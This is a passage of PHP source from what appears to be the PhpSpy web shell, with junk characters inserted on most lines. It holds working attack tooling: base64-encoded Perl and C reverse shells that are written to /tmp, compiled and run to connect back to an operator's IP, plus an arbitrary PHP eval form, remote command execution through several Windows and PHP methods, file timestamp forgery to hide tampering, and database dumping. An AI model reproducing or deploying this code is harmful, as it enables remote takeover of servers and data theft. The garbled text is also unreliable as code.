  1014.                                                                         $ar = mysql_affected_rows();7 d" z+ g. `0 b# D! U% p
  1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');
    % p5 a  g0 y/ }( }5 d5 @
  1016.                                                                         break;
    $ p% [( z. H/ O# ~
  1017.                                                         }
    ) u% W- ]+ c4 w0 G# o2 M9 P4 G
  1018.                                                 }! g* l, ^5 Z( n0 E) y
  1019.                                         }2 |2 a$ C9 E- L1 B$ F& H( ~! g( @, Z
  1020.                                 }
    % [$ v5 ~+ ?! B0 }. D% e
  1021.                         } else {
    - X7 C' h4 @0 T6 }3 r" H$ v  s' S/ G0 }
  1022.                                 $query = q("SHOW TABLE STATUS");- N1 i) [* T0 j8 o# C
  1023.                                 $table_num = $table_rows = $data_size = 0;. k: L) t: t: P" R
  1024.                                 $tabledb = array();
    9 b; N* C* b  N$ r+ z8 f
  1025.                                 while($table = mysql_fetch_array($query)) {
    " r2 ?9 B+ U! w, d
  1026.                                         $data_size = $data_size + $table['Data_length'];" u! u- ^: o2 j4 e) f1 ]! R
  1027.                                         $table_rows = $table_rows + $table['Rows'];$ K; s) ~: p) \) I
  1028.                                         $table['Data_length'] = sizecount($table['Data_length']);
    ( `3 X# ]4 k% P+ S# V: K4 s7 J
  1029.                                         $table_num++;
    : C2 N' P$ }8 y; Q9 p. d5 a# f
  1030.                                         $tabledb[] = $table;
    0 @, d6 R: Z1 A+ I8 V' F
  1031.                                 }1 L, Z* m5 `. r9 T1 F0 n" t$ y
  1032.                                 $data_size = sizecount($data_size);% q/ Z( n0 e1 J2 X+ ^( A
  1033.                                 unset($table);
    8 l2 @8 U& o+ f2 \
  1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');
    / y/ O  x9 e8 w; o9 {; t: V7 v( R" R
  1035.                                 p('<form action="'.$self.'" method="POST">');
    ' V0 O! S9 P; i3 n2 ]  X0 r$ I
  1036.                                 makehide('action','sqladmin');
    # ]/ E- @% {! T  W" j
  1037.                                 p($dbform);; T, r: ^( m0 e
  1038.                                 p('<tr class="head">');* n9 U. k- g& o$ i9 E5 S
  1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
    9 I! ?" \+ a" u) ?
  1040.                                 p('<td>Name</td>');
    5 [$ o  v# N1 u: z# u
  1041.                                 p('<td>Rows</td>');% b. u2 `2 D! R, I7 p/ M* j$ b
  1042.                                 p('<td>Data_length</td>');
    + I0 u% Z6 C; H4 |" Q
  1043.                                 p('<td>Create_time</td>');& l" r2 A( l& u. u
  1044.                                 p('<td>Update_time</td>');
    9 Y3 O3 Z" B1 Q4 z
  1045.                                 if ($highver) {
    * `* L4 u% s- Y# f( l! M
  1046.                                         p('<td>Engine</td>');, x- W4 U8 K6 `' Y" X
  1047.                                         p('<td>Collation</td>');
    8 G) G5 [2 K8 ~& G
  1048.                                 }
    6 A0 a" V1 ]5 N8 v, F9 u
  1049.                                 p('</tr>');
    . h, `4 y! U, n1 m5 F
  1050.                                 foreach ($tabledb as $key => $table) {- H/ I: C+ v9 b$ u
  1051.                                         $thisbg = bg();
    7 V# p: R' V6 U4 w- V3 n% w
  1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    4 C) T6 C0 P; i
  1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
    ( Y8 G1 L* _6 u4 _' P# H8 W- v; N" b
  1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
    : f5 c7 p2 e, m' z& u9 p
  1055.                                         p('<td>'.$table['Rows'].'</td>');
    + z! O  e) G: e6 h% K
  1056.                                         p('<td>'.$table['Data_length'].'</td>');
    % P& O$ I* c& P! j) C# a' m
  1057.                                         p('<td>'.$table['Create_time'].'</td>');" J) ~9 q/ J3 Z5 G- O, ^- {$ O
  1058.                                         p('<td>'.$table['Update_time'].'</td>');; p1 G/ W' p+ N* _+ F9 d% h# b
  1059.                                         if ($highver) {4 Q" W$ f" J2 Z; [' V$ `2 F0 p" m0 ^
  1060.                                                 p('<td>'.$table['Engine'].'</td>');1 N% U6 J2 ?% p+ ?
  1061.                                                 p('<td>'.$table['Collation'].'</td>');8 \$ q/ ^" R! h; B+ H
  1062.                                         }
    " l* `7 i: r' ~( M$ ]  t
  1063.                                         p('</tr>');
    , v0 h5 }3 `( W4 s
  1064.                                 }
    / N" A9 q0 T. h+ i! V! k* G
  1065.                                 p('<tr class='.bg().'>');* \& A+ L9 g" @
  1066.                                 p('<td> </td>');# j- A# k" o" A0 n1 b/ e
  1067.                                 p('<td>Total tables: '.$table_num.'</td>');
    4 Z1 T; p1 o) @2 u  H# p8 G3 q: }: D9 ~
  1068.                                 p('<td>'.$table_rows.'</td>');
    . \! e# p- n0 ~/ R6 K/ K* p$ R/ A# \
  1069.                                 p('<td>'.$data_size.'</td>');  r: z* u6 K1 z: n1 x3 `8 E( B
  1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');! N7 p* ^8 y! S5 d
  1071.                                 p('</tr>');- |6 w  `+ X  X
  1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");6 K6 A( {9 W( A5 {
  1073.                                 makehide('doing','backupmysql');' \+ P* K3 U: a) s
  1074.                                 formfoot();
    ' S, z: s4 z. s4 o8 }
  1075.                                 p("</table>");  z) \) L0 ~# m. N9 G" y
  1076.                                 fr($query);
    3 J# x$ J0 \! E) `9 |; e( v# O% Y
  1077.                         }, t3 F, Q. v0 x. l5 _1 w, [
  1078.                 }0 Q+ N, J. T! ~9 e5 m3 b3 E
  1079.         }
    8 D9 \) J. o  W1 P" B: h
  1080.         tbfoot();/ c& P2 L- P4 K' @7 M6 |
  1081.         @mysql_close();: a( E" X- A( o3 r. F" K
  1082. }//end sql backup, m6 Q$ b7 L0 T9 ]% n. V
  1083. elseif ($action == 'backconnect') {/ o. m7 |+ c# c7 I, ]( o1 ?
  1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
    2 h, y) R3 S5 J% \1 ^* U9 E9 j0 }
  1085.         !$yourport && $yourport = '12345';
    ' i7 r* A1 q, q: P2 o
  1086.         $usedb = array('perl'=>'perl','c'=>'c');
      ?( ^& j1 N2 R+ M
  1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".4 Q" g1 }" O$ u6 z/ Y% q; d
  1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".* e7 ]0 U, t' z2 l: x. O
  1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".3 h) r) y7 Q- I3 h) U! B
  1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    ( ^$ v2 ?; @% J
  1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
    % R" Z& F+ }9 ]$ ?& L  i1 r- q
  1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".4 h5 r# o2 [6 Z& s/ o/ h; o
  1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";3 ~4 m+ i* T, r
  1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
      [" X0 ]% c5 K5 z; \
  1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".* u6 M$ Y' C/ ?; W3 f1 i0 |7 [
  1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".1 j! b. r# X4 B- c: r! b* ], o
  1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
    ; c+ i4 t* U  i* o- _/ z$ j
  1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".: M! z, o- c* H% d/ v
  1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
    % O6 p: ~$ v; U
  1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".9 a6 _$ H: g3 ], q0 b
  1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
    : Q  y* g  p( X; s% Z' ^
  1102.         if ($start && $yourip && $yourport && $use){8 p0 f( ^/ i0 H) L# R
  1103.                 if ($use == 'perl') {7 Z3 h: c7 I. n- a: `  ^& R, T
  1104.                         cf('/tmp/angel_bc',$back_connect);7 v, Y4 }2 W1 A2 k7 L- P' E3 b
  1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");- g6 E' O, r: l
  1106.                 } else {7 y0 e, h& |& q* R. l. H- A
  1107.                         cf('/tmp/angel_bc.c',$back_connect_c);
    ; z8 H( t8 |" k
  1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
    2 x9 g8 ?6 L; E" [$ V6 \
  1109.                         @unlink('/tmp/angel_bc.c');" r" K1 ~7 ]% z& ^
  1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");& T; J2 }( E- Z* i; v0 g0 S% {! Q4 B
  1111.                 }' o) I( p! G" U  P) _: n9 m
  1112.                 m("Now script try connect to $yourip port $yourport ...");
    . X, O" `" B, H3 F, r
  1113.         }
    1 g% B  B1 d4 j: h7 \, Z* |$ y2 ^
  1114.         formhead(array('title'=>'Back Connect'));" t8 D' m8 F- N7 u- g
  1115.         makehide('action','backconnect');
    8 o3 G, _- F; M6 \3 Y2 x( G5 x
  1116.         p('<p>');
    - w% i  W& E& A, @' v, m% ^
  1117.         p('Your IP:');. h2 O& _* l( a4 I, X& X4 w4 |3 O
  1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
    / Z( `1 X* B0 G$ G3 k, m& }
  1119.         p('Your Port:');3 \) \4 m* i- b
  1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
    * ~3 Y" i' C$ L/ N1 Q
  1121.         p('Use:');; Q) k# t/ S0 W; c
  1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
    1 }7 M5 o( J+ H6 ?6 |
  1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));, F9 n" _; p9 T( m% f# S4 `9 D
  1124.         p('</p>');
    . j8 m! Q' ]9 l% q' k& l
  1125.         formfoot();
    + ~' o. [4 r% j& O7 I
  1126. }//end sql backup& |# R: y/ [9 N/ J3 \+ j! n
  1127. elseif ($action == 'eval') {
    . W  r$ q6 e: G. Y7 C6 A
  1128.         $phpcode = trim($phpcode);# }  i! k, p! T* t# i7 I$ e- Z
  1129.         if($phpcode){8 T( g2 B, `+ c. T# ^$ d6 E# l/ N
  1130.                 if (!preg_match('#<\?#si', $phpcode)) {
    0 f4 y0 ]4 C) b! E( v# Y5 V
  1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
    8 }# r9 q5 d4 f8 y$ M
  1132.                 }  l5 j; c3 B5 F3 O6 Y9 B
  1133.                 eval("?".">$phpcode<?");3 V& }$ c" d6 ^% r- V
  1134.         }# a8 \7 c+ f8 U6 m/ N; r8 B# P
  1135.         formhead(array('title'=>'Eval PHP Code'));# P! g( U2 }' v% A. o+ L
  1136.         makehide('action','eval');+ m; G4 O& n% E6 ?! n* U2 d
  1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
    3 p( w8 I0 o- \8 h# F
  1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
    ' e8 R8 W/ W* J4 i5 @$ V, G# S
  1139.         formfooter();6 ^( }8 K3 o" S
  1140. }//end eval
    : }0 H) V: V& q* ]( h1 [* r4 z: P5 {3 ?
  1141. # Q. v0 U; h6 X1 K) S9 o, ]' [5 F
  1142. elseif ($action == 'editfile') {- p% {" s+ b4 h% o
  1143.         if(file_exists($opfile)) {
    & W: L" g/ g7 m' p" W
  1144.                 $fp=@fopen($opfile,'r');; ]2 N# j8 h2 M3 p: |, ?2 I, p  O2 {
  1145.                 $contents=@fread($fp, filesize($opfile));" X/ J/ y/ m# x  l, T; v5 V. C0 B$ v
  1146.                 @fclose($fp);9 O& b, t1 F$ r" a( i0 b/ x  a
  1147.                 $contents=htmlspecialchars($contents);
    + S; ?: ?+ ]) `! |
  1148.         }% H" e$ F4 v% p2 N' S
  1149.         formhead(array('title'=>'Create / Edit File'));
    : ?  Z% ?& d2 _! ^) U$ w+ {
  1150.         makehide('action','file');
    , g& f9 [' z+ S* A5 ?! R0 _+ X
  1151.         makehide('dir',$nowpath);- B; h. x" e0 \2 W. G2 K1 I
  1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
    9 t' J( z5 w! r3 B6 K  n4 ]
  1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));6 M! W; w- l/ z
  1154.         formfooter();
    ' f! o! I! h; t- r
  1155. }//end editfile
    5 D! b5 w7 u& p$ H5 j) x! C

  1156. # I+ X! O8 {- s! _; Y7 c- Z# i
  1157. elseif ($action == 'newtime') {
    ! K$ d. B! z7 [& t
  1158.         $opfilemtime = @filemtime($opfile);* j$ t, K) g" M  [- p
  1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");, ?6 C8 x) I, ~4 G3 X3 v# W
  1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);( t3 L; |  q$ G* m( _/ M
  1161.         formhead(array('title'=>'Clone file was last modified time'));4 z- ~4 R. F+ q0 {" L! F- S
  1162.         makehide('action','file');9 w7 A# K1 M' X0 K
  1163.         makehide('dir',$nowpath);9 O5 x* o& {5 n% f
  1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    4 X/ R2 i4 k+ h# a+ L' W6 x* \
  1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));- q1 j  G0 `- X7 F  ~
  1166.         formfooter();
    9 |- ]4 `' U0 N1 p) D
  1167.         formhead(array('title'=>'Set last modified'));
    ( {* Y0 E! L0 @3 c; G8 ]3 I9 F
  1168.         makehide('action','file');
    ( L& h' l6 @! J2 e% a% j, @
  1169.         makehide('dir',$nowpath);; g6 `! e) B' N- y) _0 |' v& l. @
  1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    , N" ]1 S  @  g
  1171.         p('<p>Instead »');) P! t/ p7 q5 \& x
  1172.         p('year:');* W" O! Q3 |( P( e& E% m
  1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
    4 {+ L( ?% x' D3 Y5 o
  1174.         p('month:');4 C" A4 I4 ?9 h5 b% M: ]  ]! g
  1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
    - h1 W0 O, k7 K0 e) Q" S  _  J
  1176.         p('day:');
    6 Y% V! T0 ]! h6 M+ s- Q6 C. ^
  1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
    $ |0 t) u) p5 W+ P
  1178.         p('hour:');
    4 T, u9 K8 D4 [' n0 t. ~% ?' g
  1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
    3 j: U' G! i5 W3 f- Z& Z/ @
  1180.         p('minute:');) ]" ]0 y" [( c, L- j4 x
  1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));1 Q) C2 Q0 l/ h# x) }  b7 q  q* \, g
  1182.         p('second:');
    ( V( k/ ]' B/ G) d
  1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
    ' L$ e8 f# T7 P! N# S
  1184.         p('</p>');
    / N  z/ ~& A$ @
  1185.         formfooter();
    " }1 s+ Q! p0 N0 f: H
  1186. }//end newtime* F& \. Z9 r; y! I' ]

  1187. : e& _+ U$ C! k
  1188. elseif ($action == 'shell') {7 e9 [3 g; A2 w; r0 m
  1189.         if (IS_WIN && IS_COM) {4 ?  \4 ~& r8 ]4 J6 q% c7 l2 P) i
  1190.                 if($program && $parameter) {
    $ N& y9 H. m7 M5 ~( n- w4 |
  1191.                         $shell= new COM('Shell.Application');
    ; w' y1 V% C' T- m* W
  1192.                         $a = $shell->ShellExecute($program,$parameter);
    ( }; B5 \$ ^, D+ \
  1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
      w- D& |$ T$ @
  1194.                 }9 I: N0 }5 B/ M* y* O- _' j& R' {
  1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
    # g( l- B7 p0 N* \' N1 D! ~$ J& L
  1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';1 w% u% q! ^1 z- b6 _, E* P
  1197.                 formhead(array('title'=>'Execute Program'));
    ; {) N8 m' o: }! {3 ]
  1198.                 makehide('action','shell');  f: \; ~9 O# K$ |  |% W
  1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
    . G3 M, P5 s" c( v
  1200.                 p('<p>');0 r1 \. Q) H' g3 o) \0 Z5 Q, J
  1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
    ; N. S! t: J6 t0 r
  1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
    & [7 \, |# y  g8 B
  1203.                 p('</p>');* w* M; ?. Q4 ?8 p# v5 Y1 B% h
  1204.                 formfoot();
    * ~; M( O) n* S7 |. w5 ~8 A7 m
  1205.         }, K3 U0 @. i) h! a1 I
  1206.         formhead(array('title'=>'Execute Command'));4 ~4 _1 E# y" C- a" A' k* ?, V
  1207.         makehide('action','shell');) D) b8 }8 E6 t( h4 F; I: I& l( n, w- ~
  1208.         if (IS_WIN && IS_COM) {
    * b0 H1 P/ ^4 d+ N
  1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');; S5 ~5 ~& c- S/ t1 ~
  1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
    9 t  o; H3 ]& X. U, z
  1211.         }
    0 a# d' Q( ?% z4 ^% ~
  1212.         p('<p>');
    + a, i, y; f% f: @. d5 T: s
  1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
    $ B2 u& R$ D& q7 v
  1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));) L: {' B2 H2 @+ I- A
  1215.         p('</p>');
    4 J/ x0 n; J: a$ m5 C7 x& c
  1216.         formfoot();7 `% ^  n# V! q0 l
  1217. 6 G. S& @0 {( E# u. J4 v* ?
  1218.         if ($command) {) B, X9 A0 S: X2 h
  1219.                 p('<hr width="100%" noshade /><pre>');
    1 T9 N7 R! B8 |. L8 t! L5 Q9 W
  1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
    . x$ o9 `7 ]; ^+ L& G
  1221.                         $wsh = new COM('WScript.shell');
    ' z$ J5 R# `; q/ k
  1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);# B7 ^' _+ D5 {0 W: u
  1223.                         $stdout = $exec->StdOut();
    7 c) C! |4 i. s) U1 B
  1224.                         $stroutput = $stdout->ReadAll();. y) u' w! |9 G  }6 v* ^
  1225.                         echo $stroutput;4 F  w) O+ k( g0 Y
  1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
    , ?3 q( ?1 q) a% l0 l! i: M/ }0 D9 j
  1227.                         $descriptorspec = array(
    ; J' F: u  P2 I3 ~* a
  1228.                            0 => array('pipe', 'r'),' s" |' g8 ^* w
  1229.                            1 => array('pipe', 'w'),
      N( n) D! N1 H$ o
  1230.                            2 => array('pipe', 'w')9 {+ E& ^4 A3 `6 t  p. z* U  g. }
  1231.                         );# C0 W! }$ X) Q( D% l9 C# r
  1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);5 @" Y" F( F* V
  1233.                         if (is_resource($process)) {, N. x2 H( _9 S% N. }) _# r, T1 O: e+ ^
  1234.                                 fwrite($pipes[0], $command."\r\n");
    - [$ y' p5 S, p
  1235.                                 fwrite($pipes[0], "exit\r\n");
    / u0 _7 I9 c6 W% ^: l; A% z
  1236.                                 fclose($pipes[0]);- G: |- y2 d  m2 f2 ?+ y2 {
  1237.                                 while (!feof($pipes[1])) {, k6 r' c, B, k! a4 S) Y6 e9 y5 s
  1238.                                         echo fgets($pipes[1], 1024);
    2 q: x. t4 Z, N
  1239.                                 }
    # k' H$ x2 I9 _3 ?2 ?3 G2 t4 O
  1240.                                 fclose($pipes[1]);6 `2 {, H" P/ K2 Q' {( P0 y! z7 {
  1241.                                 while (!feof($pipes[2])) {
    # c# ~1 w3 L( T) |
  1242.                                         echo fgets($pipes[2], 1024);
    - D1 K  p5 H1 d: o1 o
  1243.                                 }
    % }0 w. j* Z! d8 s5 T
  1244.                                 fclose($pipes[2]);: |3 C0 _6 X4 H3 ]
  1245.                                 proc_close($process);
    ) w! v" z3 c/ y2 n  X; y+ X. w; N; K
  1246.                         }
    ; e; _0 m4 Q& p6 w
  1247.                 } else {
    6 r" o% m9 g( a% i6 K: r/ ~
  1248.                         echo(execute($command));
    7 z- _- ~* i5 ]/ s0 Z
  1249.                 }
    ) N5 ]) N: W$ l8 T; U( x
  1250.                 p('</pre>');
    ) U4 Q4 j$ j/ b; Y) X
  1251.         }
    9 T8 D& b, j8 i- z
  1252. }//end shell
    / e3 F7 c: C% X" r) l/ w& R

  1253. 7 o8 @4 F% K+ s
  1254. elseif ($action == 'phpenv') {
    ( n( Z, k' N/ p/ h0 r
  1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';8 J6 x* D5 V  ^2 x: h
  1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
    + h5 U# r$ c1 ]0 m3 `7 W; X- E0 |
  1257.         !$dis_func && $dis_func = 'No';       
    : @2 d; @9 f7 {1 U/ t1 j  }8 C! ]
  1258.         $info = array(
    ! B' n4 C! M. W! ?2 l. e" h
  1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),* \8 n# N2 \* s& G* Y% A2 Q5 c
  1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
    $ \6 c; d3 R! Z& V
  1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),! B( s: L* A% d1 z  c
  1262.                 4 => array('Server OS',PHP_OS),
    8 y4 ~# [% M7 |. k" W* b& ]
  1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
    0 U' Y3 W7 P9 j: D- H/ a
  1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
    7 n4 U$ g* Y4 j' N  f9 e
  1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),2 t) \: f; J1 t( d
  1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),$ F: f; x  I" X. N7 q3 r
  1267.                 9 => array('The file path',__FILE__),
    & O& {3 [' l& V1 j) ?
  1268. & s( \4 y7 _, Z+ h! m0 }% `: ^
  1269.                 10 => array('PHP Version',PHP_VERSION),
    + w" P0 v4 r- T' h% D/ v  `
  1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),+ ~0 M9 C$ \3 v1 y/ ~6 _" t
  1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
    . s4 ~7 F, ^. A+ Y. J* T; t3 U
  1272.                 13 => array('Administrator',$adminmail),/ ?% f% o- v" V& U
  1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
    1 t5 E: c2 s: @8 H: T( ^
  1274.                 15 => array('enable_dl',getcfg('enable_dl')),
    - A0 F: e& d, C0 }0 f# {+ r
  1275.                 16 => array('display_errors',getcfg('display_errors')),% K' ]/ t1 x; p7 l6 [
  1276.                 17 => array('register_globals',getcfg('register_globals')),# j! P4 S5 }, l9 e
  1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),1 P- r% X* f! h1 k. c. n2 F9 y
  1278.                 19 => array('memory_limit',getcfg('memory_limit')),( b2 u, _) e: ]8 H! U2 t  H7 r
  1279.                 20 => array('post_max_size',getcfg('post_max_size')),
    : K" V  i) E- D; `# M/ c/ z, T
  1280.                 21 => array('upload_max_filesize',$upsize),
      W! {, j& P  R) {  Y
  1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
    # w. t% J* D' |! c: Q  h
  1282.                 23 => array('disable_functions',$dis_func),2 W8 M, u. d+ [/ U
  1283.         );
    3 Q2 D, \4 j0 {- y8 F& B
  1284. 5 i/ Q; Y% r$ i1 m: i$ x# j
  1285.         if($phpvarname) {4 w. x: M- u9 d# y, V( }# W+ y
  1286.                 m($phpvarname .' : '.getcfg($phpvarname));
    7 d2 Q7 l- t" b4 ^  E2 n6 ]" I
  1287.         }
    ; ]. d4 ?' u5 _

  1288. # F5 t0 Z2 L" C9 l: W( y6 k1 s
  1289.         formhead(array('title'=>'Server environment'));
    ; @9 A5 p& ^: U+ G9 c# _
  1290.         makehide('action','phpenv');
    0 o) D' N+ V6 \
  1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));5 q$ A1 G* [$ y% \/ X* W
  1292.         formfooter();1 h# p& t; ~- i. m! g1 m

  1293. 2 |0 I0 [- Z( v! L4 @
  1294.         $hp = array(0=> 'Server', 1=> 'PHP');# d7 }8 ^/ @3 b! b3 X
  1295.         for($a=0;$a<2;$a++) {; @) K, F. A5 J) n' H% `& r- j- ]
  1296.                 p('<h2>'.$hp[$a].' »</h2>');
    9 y/ ^8 _7 }! D( I8 v
  1297.                 p('<ul class="info">');) F/ x# i, z6 ^  |
  1298.                 if ($a==0) {0 g6 d# W+ l; w% p% Q, Z7 x: P
  1299.                         for($i=1;$i<=9;$i++) {
    0 ~/ e, U3 f/ y0 J1 _! O( A
  1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
    ; v# d- N. D" x' ]/ i
  1301.                         }
    ' }9 l* B6 Y3 J6 Z
  1302.                 } elseif ($a == 1) {; {) Z4 o: x  f$ v9 B) X# P
  1303.                         for($i=10;$i<=23;$i++) {0 m1 n  e6 n; A1 I! B4 u2 v
  1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
    5 n3 q  E7 X" `) X
  1305.                         }5 ^) @  K7 p8 w9 A' }2 z
  1306.                 }
    % R) H8 k* L  H3 Z
  1307.                 p('</ul>');4 D+ a. y% ?$ q% q
  1308.         }
    ! I5 Y+ q9 f$ t" d& W
  1309. }//end phpenv
      e3 I$ c  D) W3 L6 D5 f, C
  1310. 7 `/ o; N1 _3 R: a( r
  1311. else {" `  ~) G  Y) ]  Z3 d
